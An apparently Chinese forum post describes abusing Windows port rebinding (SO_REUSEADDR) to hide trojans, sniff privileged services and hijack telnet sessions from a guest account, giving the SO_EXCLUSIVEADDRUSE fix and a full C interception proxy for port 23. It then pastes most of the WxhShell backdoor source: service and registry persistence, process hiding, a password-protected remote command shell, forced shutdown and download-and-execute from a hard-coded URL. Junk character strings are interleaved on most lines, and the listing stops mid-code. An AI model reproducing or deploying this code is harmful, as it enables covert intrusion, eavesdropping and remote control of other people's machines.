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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: |4JEU3\$  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7v kL1IA  
XSDpRo  
  saddr.sin_family = AF_INET; ' %qr.T %  
Ri{=]$  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); oRFq @g  
|>Vb9:q9Po  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); *|0 -~u%q  
uZ5p#M_  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +z( Lr=G  
eDMO]5}Ht  
  这意味着什么?意味着可以进行如下的攻击: ]lbuy7xj63  
M{@(G5  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =(Mch~  
-~0^P,yQ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) hrn+UL:d  
P?\6@_ Z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @- xjfC\d  
^ y::jK  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  G2D$aSh  
,hVli/  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 x4 yR8n(  
pb}*\/s  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  &HW9Jn  
O?2DQY?jT  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +nL[MSw  
![1rzQvGDb  
  #include -~1~I e2  
  #include Tx D#9]Q`  
  #include 2 nCA<&  
  #include    $]d^-{|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   E fDH6  
  int main() 6 N4~~O  
  { \85i+q:LuA  
  WORD wVersionRequested; gJXaPJA{  
  DWORD ret; }OUtsh]y  
  WSADATA wsaData; AKC`TA*E  
  BOOL val; \~W'v3:W  
  SOCKADDR_IN saddr; 8=l%5r^cq  
  SOCKADDR_IN scaddr; kj_c%T ]/  
  int err; ,prf;|e?  
  SOCKET s; XTy x r  
  SOCKET sc; t# i #(H  
  int caddsize; b;n[mk  
  HANDLE mt; az$FnVNn=  
  DWORD tid;   v+XJ*N[W  
  wVersionRequested = MAKEWORD( 2, 2 ); p2eGm-Erq  
  err = WSAStartup( wVersionRequested, &wsaData ); }tz7b#  
  if ( err != 0 ) { [WmM6UEVS  
  printf("error!WSAStartup failed!\n"); ueudRb  
  return -1; G[=c Ss,  
  } pP_LR ks}  
  saddr.sin_family = AF_INET; O-^Ma- }  
   _XBd3JN@  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了   ep8  
+%'(!A?*`  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Da|z"I x  
  saddr.sin_port = htons(23); mt .sucT  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }7Uoh(d  
  { lN@o2QX  
  printf("error!socket failed!\n"); ^c|/*u  
  return -1; iTwm3V P  
  } ;pAK_>  
  val = TRUE; >7|VR:U?B  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Ac@VGT:9  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) s[jTP(d)8  
  { x:Y1P:  
  printf("error!setsockopt failed!\n"); 4dlGxat  
  return -1; 9w"*y#_  
  } zPO9!?7|  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; V!Uc(  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6m93puY`7  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 K1KreYlF  
]kSGR  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) L0,'mS  
  { 2G7Wi!J  
  ret=GetLastError(); COlqcq'qAu  
  printf("error!bind failed!\n"); *@5@,=d  
  return -1; 9;{C IMg&  
  } as|<}:V  
  listen(s,2); qX%_uOw:%  
  while(1) 1zv'.uu.,  
  { :;}P*T*PU  
  caddsize = sizeof(scaddr); %J(:ADu]  
  //接受连接请求 W\3X=@|u)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 9{l}bu/u  
  if(sc!=INVALID_SOCKET) dPlV>IM$z  
  { T)/eeZ$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0J9x9j`&j  
  if(mt==NULL) lA]8&+,ZM  
  { ?,mmYW6TjB  
  printf("Thread Creat Failed!\n"); kP:!/g  
  break; iS^QTuk3%  
  } uRvP hkqm  
  } ';CNGv -  
  CloseHandle(mt); 0mE 0 j  
  } Ud?Q%) X  
  closesocket(s); ^qs $v06  
  WSACleanup(); _6Sp QW  
  return 0; j#|ZP-=1_  
  }   vh^VxS  
  DWORD WINAPI ClientThread(LPVOID lpParam) q9"96({\@  
  { i1UsIT  
  SOCKET ss = (SOCKET)lpParam; e'~3oqSvR  
  SOCKET sc; Q ,g\  
  unsigned char buf[4096]; dO'(2J8  
  SOCKADDR_IN saddr; {: /}NpA$  
  long num; ?uu*L6  
  DWORD val; ?<!|  
  DWORD ret; oH@78D0A  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Nn6%9PX_)  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   kiEa<-]  
  saddr.sin_family = AF_INET; w )f#V s  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :#Wd~~d  
  saddr.sin_port = htons(23); O.? JmE  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Gc?a+T  
  { _BufO7 `.  
  printf("error!socket failed!\n"); K(4_a``05  
  return -1; 5BIY<B+i  
  } U^PgG|0N  
  val = 100; dtDFoETz  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /ZX }Nc g  
  { '1[Ft03  
  ret = GetLastError(); cAw/I@jG  
  return -1; Yy8g(bU  
  } 4W75T2q#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2 ?C)&  
  { wYea\^co  
  ret = GetLastError(); LVy yO3e  
  return -1; b%+Xy8a  
  } a?1Wq  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) KI.unP%  
  { *. t^MP  
  printf("error!socket connect failed!\n"); W?& %x(6M  
  closesocket(sc); tQVVhXQ7  
  closesocket(ss); ^iA9%zp  
  return -1; =pNY eR_[  
  } UKGPtKE<  
  while(1) *~`(RV  
  { h[ ZN+M  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 i8p6Xht  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 jXJyc'm7  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6BlXLQ,8q  
  num = recv(ss,buf,4096,0); JF]JOI6.e  
  if(num>0) sO Y:e/_F  
  send(sc,buf,num,0); +@UV?"d  
  else if(num==0) 42{~Lhxt  
  break; gYj'(jB  
  num = recv(sc,buf,4096,0); 7zMr:JmV  
  if(num>0) %T[]zJ(  
  send(ss,buf,num,0); BtZyn7a  
  else if(num==0) l (o~-i\M  
  break; _1^'(5f$  
  } y_,bu^+*  
  closesocket(ss); YSMAd-Ef-  
  closesocket(sc); [[ZJ]^n,  
  return 0 ; )7@0[>  
  } )oZ dj`  
"@kaHIf[  
f$( e\+ +  
========================================================== 6!o1XQr=Z  
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下边附上一个代码,,WXhSHELL %O<BfIZ  
Cx"sw }  
========================================================== xno\s.H%]  
=1! 'QUc  
#include "stdafx.h"  _F{C\}  
~&O%N  
#include <stdio.h> =N@t'fOr  
#include <string.h> }]Tx lSp!;  
#include <windows.h> I fir ,8  
#include <winsock2.h> k)u[0}   
#include <winsvc.h> =Qq+4F)MD  
#include <urlmon.h> [aS*%Heu  
|ZBw<f  
#pragma comment (lib, "Ws2_32.lib") *:1ey{w:  
#pragma comment (lib, "urlmon.lib") y(Td/rY.  
9uY'E'm*  
#define MAX_USER   100 // 最大客户端连接数 Tw% 3p=  
#define BUF_SOCK   200 // sock buffer 13PS2  
#define KEY_BUFF   255 // 输入 buffer k9R9Nz|J  
a.'*G6~Qgw  
#define REBOOT     0   // 重启 ^.tg7%dJ  
#define SHUTDOWN   1   // 关机 b6[j%(   
qR.Q,(b|  
#define DEF_PORT   5000 // 监听端口 3T 9j@N77  
^8tEach  
#define REG_LEN     16   // 注册表键长度 q4q6c")zp  
#define SVC_LEN     80   // NT服务名长度 VQI 3G  
K,]=6 Rj  
// 从dll定义API R+|hw;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )[  ,A_3E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g`^x@rj`E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .hiSw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); J1kM\8%b\  
IID5c" oR  
// wxhshell配置信息 )Z$!PqRw@u  
struct WSCFG { 67TwPvh  
  int ws_port;         // 监听端口 +(*DT9s+  
  char ws_passstr[REG_LEN]; // 口令 iE{&*.q_}>  
  int ws_autoins;       // 安装标记, 1=yes 0=no _|p8M!  
  char ws_regname[REG_LEN]; // 注册表键名 $(9U@N9E  
  char ws_svcname[REG_LEN]; // 服务名 %\DX#.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +"(jjxJm  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !BI;C(,RL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #g=XUZ/"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no S'14hk<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |o @%dH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *VeRVaBl  
5;S.H#YOpO  
}; bcR_E5x$  
% nIf)/2g  
// default Wxhshell configuration AS,%RN^.  
struct WSCFG wscfg={DEF_PORT, ;=@0'xPEa-  
    "xuhuanlingzhe", -8Xf0_  
    1, +#By*;BJ  
    "Wxhshell", vy/-wP|1  
    "Wxhshell", ]9X DS[<2`  
            "WxhShell Service", SaCh 7 ^  
    "Wrsky Windows CmdShell Service", :EH=_"  
    "Please Input Your Password: ", /bEAK-  
  1, "j-CZ\]U|  
  "http://www.wrsky.com/wxhshell.exe", i!cCMh8  
  "Wxhshell.exe" p7Cs.2>M>S  
    }; yN c2@  
KG@8RtHsQ  
// 消息定义模块 &{RDM~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G j1_!.T  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;]fs'LH  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; C7vxw-o|&p  
char *msg_ws_ext="\n\rExit."; !c-*O<Y  
char *msg_ws_end="\n\rQuit."; fV:83|eQ  
char *msg_ws_boot="\n\rReboot..."; .o8t+X'G  
char *msg_ws_poff="\n\rShutdown..."; KgG4*<  
char *msg_ws_down="\n\rSave to "; [V!tVDs&'o  
dd["dBIZ '  
char *msg_ws_err="\n\rErr!"; 2Hdu:"j  
char *msg_ws_ok="\n\rOK!"; ]d`VT)~vje  
*dF>_F  
char ExeFile[MAX_PATH]; OH"XrCX7n  
int nUser = 0; e%6QTg5#  
HANDLE handles[MAX_USER]; &?vgP!d&M  
int OsIsNt; i&k7-<  
6Iw\c  
SERVICE_STATUS       serviceStatus; TKjFp%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~4"dweu?  
o.\oA6P_  
// 函数声明 !wp3!bLp  
int Install(void); _w Ot39e&  
int Uninstall(void); KF/-wZ"1s  
int DownloadFile(char *sURL, SOCKET wsh); bx Wa oWE0  
int Boot(int flag); +O5hH8<&b  
void HideProc(void); 7Qsgys#/=  
int GetOsVer(void); or]IZ2^n  
int Wxhshell(SOCKET wsl); SzRmF1<  
void TalkWithClient(void *cs); ?q&T$8zc4  
int CmdShell(SOCKET sock); Gy)@Is9  
int StartFromService(void); '2O\_Uz  
int StartWxhshell(LPSTR lpCmdLine); p8Q1-T3v  
Gc!x|V;T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); hEk$d.!}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ZN6Z~SL_i~  
};g"GNy  
// 数据结构和表定义 iI>A *,{,`  
SERVICE_TABLE_ENTRY DispatchTable[] = Jo}eeJ;k  
{ <,(,jU)j  
{wscfg.ws_svcname, NTServiceMain}, 4fzZ;2sl}  
{NULL, NULL} d %#b:(,  
}; c(%|: P^  
oE~Bq/p  
// 自我安装 Q,9oKg  
int Install(void) j.kG};f  
{ 9/;P->wy  
  char svExeFile[MAX_PATH]; z ]Ue|%K  
  HKEY key; Ru~j,|0r4  
  strcpy(svExeFile,ExeFile); :ivf/x n  
j=J/x:w_e  
// 如果是win9x系统,修改注册表设为自启动 ?rIx/>C9  
if(!OsIsNt) { g ci    
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0^ibNiSP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '\GbmD^F  
  RegCloseKey(key); v}x&?fU `  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G9 :l'\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V> bCKtf&  
  RegCloseKey(key); j5ve2LiFV%  
  return 0; EIQ p>|5  
    } -(#iIgmP  
  } Q&V;(L62!  
} E!#WnSpnK  
else { _y>~ yZx  
/=, nGk>  
// 如果是NT以上系统,安装为系统服务 "vslZ`RU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q|L~=9  
if (schSCManager!=0) wT\49DT"7  
{ qv"$Bd:]r  
  SC_HANDLE schService = CreateService o lxByzTh>  
  ( O<\@~U  
  schSCManager, j)GtEP<n#  
  wscfg.ws_svcname, BSMwdr  
  wscfg.ws_svcdisp, V_:&S2j  
  SERVICE_ALL_ACCESS, :hV7> rr  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S@Hf &hJ  
  SERVICE_AUTO_START, |W\(kb+  
  SERVICE_ERROR_NORMAL, `#gie$B{  
  svExeFile, <o= 8 FO  
  NULL, veRm2 LSP  
  NULL, h-D }'R  
  NULL, +U.I( 83F  
  NULL, 7!$^r$t   
  NULL ~= -RK$=  
  ); F3N6{ysK#  
  if (schService!=0) d:{O\   
  { e!r-+.i(  
  CloseServiceHandle(schService); AvHCO8h|  
  CloseServiceHandle(schSCManager); @gtQQxf"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pBPl6%C.X-  
  strcat(svExeFile,wscfg.ws_svcname); !3v1bGk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2"S}bfrX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xjUtl  
  RegCloseKey(key); N&V`K0FU  
  return 0; g>9kXP+  
    } d'I"jZ  
  } w'3iY,_ufC  
  CloseServiceHandle(schSCManager); -S+zmo8  
} {u9}bx'<  
} D1mfm.9_r^  
2T TdH)  
return 1; BRYHX.}h\A  
} gGS=cdlV  
Rx|;=-8zg  
// 自我卸载 jZ3fKyp#   
int Uninstall(void) 0P(!j_2m  
{ 1>&]R=  
  HKEY key; O,A{3DAe0  
~3S~\0&|  
if(!OsIsNt) { -B\HI*u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R^e.s -  
  RegDeleteValue(key,wscfg.ws_regname); Z*2Vpnqh\  
  RegCloseKey(key); ,i@:5X/t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2,P^n4~A?w  
  RegDeleteValue(key,wscfg.ws_regname); 1&o|TT/  
  RegCloseKey(key); a+PzI x2  
  return 0; hDq`Z$_+KX  
  } V,?yPi$#E  
} - FlzEZ  
} "2T#MO/  
else {  bnLPlf  
7( 2{'r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y7[jqb1D  
if (schSCManager!=0) Dl8;$~  
{ P}G+4Sk  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wIBO ^w\J  
  if (schService!=0) 8Dm%@*B^b  
  { K:Q<CQ2  
  if(DeleteService(schService)!=0) { iRi-cQVy  
  CloseServiceHandle(schService); %-e 82J1  
  CloseServiceHandle(schSCManager); r{%qf;  
  return 0; 9pxc~=  
  } x~j`@k,;  
  CloseServiceHandle(schService); oF GhNk  
  }  {s{j~M  
  CloseServiceHandle(schSCManager); w(TJ*::T  
} x7x\Y(@  
} AlW66YAuQ  
4vV:EF-  
return 1; +|>kCtZH%  
} }k G9!sf  
we?76t:-  
// 从指定url下载文件 VgC2+APg  
int DownloadFile(char *sURL, SOCKET wsh) +V^;.P</  
{ oD1/{dRzj  
  HRESULT hr; 1\rz%E  
char seps[]= "/"; _M5|Y@XN-  
char *token; 3K/MvNI>  
char *file; ^_5r<{7/ :  
char myURL[MAX_PATH]; gH3vk $WS  
char myFILE[MAX_PATH]; {LQ#y/H?  
\<6CZ  
strcpy(myURL,sURL); usL* x9i  
  token=strtok(myURL,seps); f[^Aw(o  
  while(token!=NULL) 84pFc;<  
  { 2oRg 2R}  
    file=token; B\:%ufd ~  
  token=strtok(NULL,seps); Jl9k``r*  
  } fku<,SV$O4  
4^OY C  
GetCurrentDirectory(MAX_PATH,myFILE); ;H.^i|_/  
strcat(myFILE, "\\"); ZH)="qx [  
strcat(myFILE, file); &&RimoIeo  
  send(wsh,myFILE,strlen(myFILE),0); 0f>5(ek  
send(wsh,"...",3,0); }HePZ{PLM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pDCeQ6?  
  if(hr==S_OK) KX7 >^Bt&k  
return 0; 6,9>g0y'NG  
else ;<2 G  
return 1; 4G>H  
U,-39mr  
} h"lv7;B$  
Ev(>z-{F  
// 系统电源模块 'B0{_RaTb  
int Boot(int flag) Gvqxi|  
{ T+K):u g  
  HANDLE hToken; P{+T< bk|  
  TOKEN_PRIVILEGES tkp; 8j\cL'  
K8.!_ c  
  if(OsIsNt) { :#?5X|Gz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f|lU6EkU  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i`$*T y"x  
    tkp.PrivilegeCount = 1; qXe8Kto  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;^I*J:]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $.rhRKs  
if(flag==REBOOT) { Rn I&8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xJ)n4)  
  return 0; P8)=Kbd  
} 28J^DMOW  
else { hP)LY=- 2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u'W8;G*~  
  return 0; |3[Wa^U5  
} ndz]cx  
  } 6WJ)by  
  else { +sUFv)!4  
if(flag==REBOOT) { R1GEh&U{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $,}E   
  return 0;  Qq;Foa  
} CZI66pDy  
else { |NC*7/}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :G2k5xD/E  
  return 0; 'd$P`Vw:  
} PFne+T!2F  
} m6CI{Sa](l  
@A89eZbW  
return 1; <\ :Yk  
} gPsi  
(l- ab2'  
// win9x进程隐藏模块 (HE9V]  
void HideProc(void) 5Qn '  
{ ssRbhlD/*1  
E:}r5S) 4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k$J zH$  
  if ( hKernel != NULL ) [knN:{ l  
  { /qGf 1MHD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \2"I;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JYd 'Jp8bP  
    FreeLibrary(hKernel); 6ne7]R Y  
  } X_|J@5b7  
+M$Q =6/  
return; ;n=.>s*XL'  
} )ZqTwEr@[  
^o1*a&~J@  
// 获取操作系统版本 @u]rWVy;\[  
int GetOsVer(void) \$e)*9)  
{ *b/` Ya4  
  OSVERSIONINFO winfo; E5xzy/ZQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1Z~)RJ<D  
  GetVersionEx(&winfo); &6YIn|}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \uC15s<  
  return 1; u!X|A`o5i  
  else qHrA%k^!2O  
  return 0; NzSoqh{R  
} N<|Nwq:NN  
bc) ~k:  
// 客户端句柄模块 xt%7@/hiE  
int Wxhshell(SOCKET wsl) L3--r  
{ l6kWQpV  
  SOCKET wsh; aV?@s4  
  struct sockaddr_in client; +hT:2TXn  
  DWORD myID; ()+ <)hg}2  
^,8)iV0j_  
  while(nUser<MAX_USER) J )~L   
{ <|+Ex  
  int nSize=sizeof(client); C/kW0V7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "C19b:4H  
  if(wsh==INVALID_SOCKET) return 1; |J} Mgb-4  
J/GSceHF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $[&*Bj11Yg  
if(handles[nUser]==0) G <f@#[$'  
  closesocket(wsh); af+IP_6 .  
else 80/F7q'tn  
  nUser++; .#Z%1U%P.  
  } #9xd[A : N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m{uxI za  
)3w@]5j  
  return 0; % !>I*H  
} g,95T Bc  
MLWM&cFG  
// 关闭 socket lBTmx(_}}r  
void CloseIt(SOCKET wsh) 7 :3$Ey  
{ Z2='o_c  
closesocket(wsh); O0No'LVu  
nUser--; xp72>*_9&  
ExitThread(0); kg3EY<4i  
} ); dT_  
be-~\@  
// 客户端请求句柄 .wu xoq  
void TalkWithClient(void *cs) w1#gOwA,$  
{ ?zVL;gVWA  
f[~L?B;_L  
  SOCKET wsh=(SOCKET)cs; &n?^$LTPY  
  char pwd[SVC_LEN]; ?1$fJ3  
  char cmd[KEY_BUFF]; M9@ri^x  
char chr[1]; TGe;HZ  
int i,j; T{Uc:Z  
c|62jY"$-2  
  while (nUser < MAX_USER) { *2Ht &  
rZ^v?4Z\  
if(wscfg.ws_passstr) { I_rO!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rT5Ycm@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9Z'8!$LYg  
  //ZeroMemory(pwd,KEY_BUFF); q51Uf_\/  
      i=0; p)3U7"q  
  while(i<SVC_LEN) { @u%_1  
GBFtr   
  // 设置超时 [7S} g  
  fd_set FdRead; dW~*e2nq  
  struct timeval TimeOut; glXZZ=j  
  FD_ZERO(&FdRead); iN0nw]_*  
  FD_SET(wsh,&FdRead); "D=P8X&vs  
  TimeOut.tv_sec=8; '-b*EZU8t  
  TimeOut.tv_usec=0; zs*L~_K  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (RZD'U/B  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,gOOiB }  
sWblFvHqrU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SD$h@p=!=  
  pwd=chr[0]; x,S P'fcP  
  if(chr[0]==0xd || chr[0]==0xa) { k]HEhY  
  pwd=0; g[7#w,o  
  break; Za8#$`zq  
  } -3lb@ 6I6  
  i++; 5 Ho^N1q  
    } ?Ovqp-sw  
$g+[yb7@  
  // 如果是非法用户,关闭 socket 5N*Ux4M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7=OQ8IM !  
} =xJKIu  
/E5 5Pec  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :`2=@.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZRVT2VfN  
15o?{=b[  
while(1) { d[^~'V  
-s$F&\5by  
  ZeroMemory(cmd,KEY_BUFF); QtqfG{  
' dx1x6  
      // 自动支持客户端 telnet标准   nn9wdt@.]  
  j=0; O Wj@< N  
  while(j<KEY_BUFF) { pBP.x#|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %T9  sz4V  
  cmd[j]=chr[0]; D HT&,=  
  if(chr[0]==0xa || chr[0]==0xd) { TdGnf   
  cmd[j]=0; BQ2wnGc  
  break; BC;:  
  } 0#*#a13  
  j++; ] 0m&(9  
    } 3lq Mucr  
TkO[rAC  
  // 下载文件 7ei|XfR  
  if(strstr(cmd,"http://")) { 3^ ~KB'RZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^ Dt#$Z  
  if(DownloadFile(cmd,wsh)) .rJiyED?!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); U(;&(W"M  
  else f5==";eP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  ?k|H3;\  
  } JHJ~X v  
  else { Q\,o :ZU_  
TbF4/T1b  
    switch(cmd[0]) { |xvy')(b  
  b (I2m  
  // 帮助 V@QK  
  case '?': { zb Z4|_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'vaLUy9]  
    break; "AhTH.ZP  
  } @M8|(N%  
  // 安装 2JS`Wqy  
  case 'i': { |s)?cpb  
    if(Install()) 2',w[I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K[7EOXLy  
    else $VQtwuYt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wB{;bB{  
    break; /Y2/!mU</  
    } F[!ckes<bB  
  // 卸载 `H3.,]  
  case 'r': { `3'0I/d"z  
    if(Uninstall()) ~b|`'kU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1I}b|6 `  
    else $CE[MZ&S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); + EM_TTf4  
    break; &h,5:u  
    } ,*@AX>  
  // 显示 wxhshell 所在路径 NCf"tK'5n  
  case 'p': { 7RvUH-S[  
    char svExeFile[MAX_PATH]; &X]\)`j0  
    strcpy(svExeFile,"\n\r"); 2.X"f  
      strcat(svExeFile,ExeFile); UP{j5gR:_  
        send(wsh,svExeFile,strlen(svExeFile),0); ow'lRHZ  
    break; ez9k4IO  
    } rqlc2m,<-p  
  // 重启 ^U8r0]9  
  case 'b': { ^:jN3@ Q%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yRYWch  
    if(Boot(REBOOT)) R, 8s_jN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 35*\_9/#  
    else { LN_OD5gZ  
    closesocket(wsh); tB' V  
    ExitThread(0); f0LP?]  
    } y9|K|xO[  
    break; 6R29$D|HFO  
    } *AIEl"29  
  // 关机 !"TZ:"VZU  
